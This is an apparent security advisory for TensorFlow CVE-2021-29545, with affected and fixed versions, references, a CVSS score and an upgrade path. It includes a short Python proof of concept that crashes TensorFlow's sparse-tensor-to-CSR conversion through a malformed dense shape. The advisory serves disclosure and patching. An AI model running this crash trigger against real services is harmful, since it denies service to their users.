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  5. CVE-2021-29545

CVE-2021-29545: Heap buffer overflow in `SparseTensorToCSRSparseMatrix`

May 21, 2021 (updated October 30, 2024)

An attacker can trigger a denial of service via a CHECK-fail in converting sparse tensors to CSR Sparse matrices:

import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops

indices_array = np.array([[0, 0]])
value_array = np.array([0.0], dtype=np.float32)
dense_shape = [0, 0]

st = tf.SparseTensor(indices_array, value_array, dense_shape)

values_tensor = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(
st.indices, st.values, st.dense_shape)

References

  • github.com/advisories/GHSA-hmg3-c7xj-6qwm
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-473.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-671.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-182.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/1e922ccdf6bf46a3a52641f99fd47d54c1decd13
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-hmg3-c7xj-6qwm
  • nvd.nist.gov/vuln/detail/CVE-2021-29545

Code Behaviors & Features

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-131: Incorrect Calculation of Buffer Size

Source file

pypi/tensorflow-cpu/CVE-2021-29545.yml

Spotted a mistake? Edit the file on GitLab.

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